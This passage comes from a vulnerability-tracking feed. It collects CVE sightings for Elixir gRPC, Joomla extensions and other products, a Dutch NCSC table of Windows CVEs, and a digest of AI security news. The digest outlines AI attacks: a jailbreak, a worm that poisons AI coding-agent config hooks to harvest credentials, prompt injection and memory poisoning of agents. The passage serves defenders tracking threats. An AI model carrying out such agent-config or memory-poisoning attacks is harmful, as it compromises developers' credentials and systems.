\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 gRPC \u0434\u043b\u044f \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Elixir grpc \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-08314\nCVE-2026-48853\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/elixir-grpc/grpc/security/advisories/GHSA-grp7-v8xh-rj7h", "creation_timestamp": "2026-07-14T01:00:06.307613Z"}, {"uuid": "8540525d-360a-4675-9527-649bc42c6d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mqli7q37zh2a", "content": "CISA warns of actively exploited RCE flaws in Joomla extensions (CVE-2026-48939 and CVE-2026-56291) #patchmanagement", "creation_timestamp": "2026-07-14T05:33:19.981646Z"}, {"uuid": "99d3f4a8-841a-4a57-82a3-890a75725fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48939", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mqloi5uyei22", "content": "\ud83d\udcf0 CISA Peringatkan Celah Kritis pada Ekstensi Joomla yang Sedang Dieksploitasi untuk Serangan RCE\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/14/cisa-peringatkan-kerentanan-joomla-rce/\n\n#balbooaForms #cisa #cve-2026-48939 #cve-2026-56291 #cyberSecurity #icagenda #joomla #rce", "creation_timestamp": "2026-07-14T07:25:25.422934Z"}, {"uuid": "9c8ee9a5-daae-4427-a7f2-25e084d0060d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqlornb55u24", "content": "Top 3 CVE for last 7 days:\nCVE-2026-53359: 26 interactions\nCVE-2026-43499: 25 interactions\nCVE-2026-20262: 13 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-56291: 6 interactions\nCVE-2026-48907: 5 interactions\nCVE-2026-57830: 3 interactions\n", "creation_timestamp": "2026-07-14T07:30:43.424765Z"}, {"uuid": "d60f521c-c648-4502-9052-66c18a208957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mqm3x766yk2r", "content": "Two Joomla extensions hit maximum severity. CISA confirms they're being exploited as zero-days.\n\nCVE-2026-48939.\n\nhttps://www.yazoul.net/advisory/cve/cve-2026-56291-balbooa-forms-unauthenticated-rce-exploited/\n\n#InfoSec #ThreatIntel", "creation_timestamp": "2026-07-14T11:26:28.551369Z"}, {"uuid": "276a0650-6e01-4dc8-9f05-861f05940ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/11504", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer \u2013 thehackernews.com\n\nTue, 30 Jun 2026 19:18:47", "creation_timestamp": "2026-07-14T12:00:04.606260Z"}, {"uuid": "606259df-6d71-4dcf-a9d3-6dc21fd76808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/bhhub/1197", "content": "Weekly 7 AI & Cyber signals to act on (Jun 6\u201315, 2026)\n\n#AISecurity@bhhub \n\n\u2728Anthropic Disables Fable 5 and Mythos 5 After US Export-Control Directive Over Jailbreak Concerns\nURL\nUS government ordered Anthropic to cut off all foreign-national access to its most capable models, Claude Fable 5 and Mythos 5, citing a jailbreak that could unlock dangerous cybersecurity capabilities \u2014 Anthropic complied within hours but publicly disputed the scope of the threat, noting the same jailbreak could elicit similar capabilities from competitor models not subject to the order.\n\n\u2728 OWASP \"State of Agentic AI Security and Governance v2.01\" \u2014 Real CVEs Replace Theoretical Threats, Coding Agents Are the Top Risk Driver\nURL\nOWASP's GenAI Security Project released v2.01 of its agentic AI security and governance report, shifting from last year's catalogue of plausible threats to one built on actual CVEs, vendor advisories, and breach reports \u2014 finding that 28 of 53 tracked agentic projects are coding agents, that prompt injection remains the dominant production failure mode, and that \"lethal trifecta\" risk combinations (private data + untrusted content + external communication) are amplified by multi-agent cascading failures.\n\n#AppSec@bhhub \n\n\u2728 Miasma Worm Hits 73 Microsoft GitHub Repos via AI Coding Agent Config Poisoning \u2014 Attack Framework Later Leaked Publicly\nURL\nA self-replicating supply-chain worm pushed malicious AI-coding-agent configuration files \u2014 a poisoned .claude/settings.json SessionStart hook plus equivalents for Cursor, Gemini CLI, and VS Code \u2014 into 73 Microsoft Azure, Azure-Samples, Microsoft, and MicrosoftDocs repositories via a compromised contributor account; opening any of the affected repos in an AI coding tool silently triggered a credential-harvesting payload. GitHub disabled all 73 repos in two automated waves within 105 seconds, but the attack framework itself was leaked publicly five days later via a \"Miasma-Open-Source-Release\" repo.\n\n\u2728 CVE-2026-42271 + CVE-2026-48710 Chain to Unauthenticated RCE in LiteLLM AI Gateway \u2014 Added to CISA KEV\nURL\nHorizon3.ai chained a LiteLLM command-injection flaw (CVE-2026-42271, CVSS 8.7, affecting the open-source AI gateway and Python SDK from BerriAI) with a Starlette \"BadHost\" header-validation bypass (CVE-2026-48710) to achieve full unauthenticated remote code execution against LiteLLM deployments; CISA confirmed active exploitation and added both CVEs to its Known Exploited Vulnerabilities catalog on June 8.\n\n#RedTeam@bhhub \n\n\u2728 MPBench: First Systematic Benchmark of Memory-Poisoning Attacks Against LLM Agents\nURL\nA new benchmark systematically evaluates memory-poisoning attacks against LLM agents that maintain persistent or long-term memory, showing that injected false memories survive across sessions and propagate into downstream task execution at high success rates, while existing memory-sanitization defenses provide only partial mitigation.\n\n\u2728 Hack The Box \"Attack of the Agents\" CTF: Autonomous AI Agent Solves 4/10 Challenges Unprompted Ahead of MCP Server GA\nURL\nHTB's internal CTF event field-testing its new Model Context Protocol (MCP) server integration saw an AI-driven agent independently join the competition and autonomously solve 4 of 10 challenges with no human direction, while a human participant with no prior cybersecurity background scored a perfect 10/10 in 38 minutes \u2014 versus the platform's historical average solve time of 4.3 hours.\n\n#Blue@bhhub \n\n\u2728 BlueVoyant Launches \"BlueVoyant AI\" Agentic SecOps Platform with Autonomous Containment Actions\nURL\nBlueVoyant launched an agentic Security Operations platform that applies ensemble models to cut alert noise and authorizes AI agents to autonomously isolate devices, revoke access tokens, and remove malicious email \u2014 with every agent action logged for audit and rollback \u2014 offered as a fully managed SOC or self-service SaaS, with deep integration across its 2,500+ existing Microsoft-centric customer deployments.", "creation_timestamp": "2026-07-14T12:00:05.464803Z"}, {"uuid": "950979ac-1e4a-4fb7-bf74-3ec3d54d17d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqm6hx5gaj2k", "content": "CVE-2026-48939: Joomla Extensions\u2019 Perfect 10 Scores Are a Cyber Crisis #Cybersecurity #Joomla #CVE2026", "creation_timestamp": "2026-07-14T12:11:38.540719Z"}, {"uuid": "75510b22-d650-4877-b861-90a54bfba8cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqm6i2mdqu2g", "content": "CVE-2026-48939: Attackers Leverage Critical Joomla Extensions Flaws for RCE #CVE202648939 #Joomla #CyberSecurity", "creation_timestamp": "2026-07-14T12:11:41.921644Z"}, {"uuid": "0aa56b04-2e95-4ed0-8cac-8575413b2dde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqm6i637wp2p", "content": "CVE-2026-48939 and CVE-2026-56291: Joomla\u2019s Exploitation Exposes Security Gaps Amid Inaction #Joomla #CyberSecurity #Vulnerability", "creation_timestamp": "2026-07-14T12:11:45.724036Z"}, {"uuid": "abe1354d-b265-47a9-95cf-4c9f86646784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqm6iced2d26", "content": "CVE-2026-48939 and CVE-2026-56291: Joomla Extensions Fail to Protect Users #CVE2026 #Joomla #CyberSecurity", "creation_timestamp": "2026-07-14T12:11:50.511885Z"}, {"uuid": "d4eac64f-a199-443a-b0d0-b32c66599acd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqm6ifkonh2f", "content": "CVE-2026-48939: Joomla's Perfect 10 Vulnerabilities Show Attribution Gaps #CVE202648939 #Joomla #CyberSecurity", "creation_timestamp": "2026-07-14T12:11:53.337201Z"}, {"uuid": "65d24a71-360e-408e-805a-96b65518f25d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqm6ijcdoa2o", "content": "CVE-2026-48939 and CVE-2026-56291: Are Joomla Patches Enough? #Joomla #Cybersecurity #Vulnerabilities", "creation_timestamp": "2026-07-14T12:11:57.537060Z"}, {"uuid": "b07f7d61-5627-4ebe-bf1e-55b6e9663c2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/ctinow/252895", "content": "Adobe ColdFusion flaw CVE-2026-48282 now exploited in the wild\nhttps://ift.tt/W34ojsO", "creation_timestamp": "2026-07-14T14:00:04.808215Z"}, {"uuid": "2828bd22-8e25-4998-9d98-0ae6ee214647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/ctinow/252595", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer\nhttps://ift.tt/uil8yOY", "creation_timestamp": "2026-07-14T14:00:05.050110Z"}, {"uuid": "1473642c-ac04-48ba-9108-d09324efd43c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48581", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116919575254588429", "content": "We have just added an important vulnerability affecting Microsoft Surface Go and other products (CVE-2026-48581) https://vuldb.com/vuln/378400", "creation_timestamp": "2026-07-14T17:45:36.552794Z"}, {"uuid": "8237a277-9d1b-46cb-8efd-32f67580b697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmu6jsugc22", "content": "CVE-2026-48561 - microsoft 365 copilot for android\nMicrosoft Copilot's command injection flaw lets attackers run unauthorized code over a network, potentially stealing sensitive data or taking control of a system.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#microsoft #CVE #infosec", "creation_timestamp": "2026-07-14T18:40:04.418359Z"}, {"uuid": "5c286b16-d979-4733-8ebd-55a796ac1a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48564", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | 